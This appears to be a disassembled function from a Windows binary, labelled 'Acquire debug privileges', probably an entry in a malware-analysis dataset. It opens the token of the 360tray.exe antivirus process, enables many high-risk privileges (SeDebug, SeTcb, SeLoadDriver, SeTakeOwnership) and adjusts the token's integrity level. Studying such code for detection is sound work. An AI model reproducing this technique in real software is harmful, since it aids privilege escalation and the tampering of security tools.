Function at 0x403f70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push str.360tray.exe
call fcn.004031c0
add esp, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x43b0a0
call fcn.00405440
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 4]
push edx
push 0xf01ff
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x24]
push ecx
push 0x436764
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x40], 1
mov edx, 0xc
imul eax, edx, 0
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov dword [ebp + eax - 0x3c], ecx
mov dword [ebp + eax - 0x38], edx
mov eax, 0xc
imul ecx, eax, 0
mov dword [ebp + ecx - 0x34], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x40]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 1
push str.SeDebugPrivilege
mov ecx, dword [ebp - 4]
push ecx
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeChangeNotifyPrivilege
mov edx, dword [ebp - 4]
push edx
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeTcbPrivilege
mov eax, dword [ebp - 4]
push eax
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeImpersonatePrivilege
mov ecx, dword [ebp - 4]
push ecx
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeLoadDriverPrivilege
mov edx, dword [ebp - 4]
push edx
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeRestorePrivilege
mov eax, dword [ebp - 4]
push eax
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeBackupPrivilege
mov ecx, dword [ebp - 4]
push ecx
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeSecurityPrivilege
mov edx, dword [ebp - 4]
push edx
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeSystemEnvironmentPrivilege
mov eax, dword [ebp - 4]
push eax
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeIncreaseQuotaPrivilege
mov ecx, dword [ebp - 4]
push ecx
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeTakeOwnershipPrivilege
mov edx, dword [ebp - 4]
push edx
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeIncreaseBasePriorityPrivilege
mov eax, dword [ebp - 4]
push eax
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeShutdownPrivilege
mov ecx, dword [ebp - 4]
push ecx
call fcn.00403ed0
add esp, 0xc
push 1
push str.SeAssignPrimaryTokenPrivilege
mov edx, dword [ebp - 4]
push edx
call fcn.00403ed0
add esp, 0xc
mov dword [ebp - 0x10], 0
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x30], 1
mov byte [ebp - 0x2f], 1
mov ecx, 1
imul edx, ecx, 5
mov byte [ebp + edx - 0x2e], 0x10
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x10]
mov dword [ebp + ecx - 0x28], edx
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0x20
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], ecx
lea edx, [ebp - 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x19
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
call fcn.00403780
call fcn.00403740
call fcn.004033e0
call fcn.00403560
call fcn.004035f0
mov esp, ebp
pop ebp
ret 0x10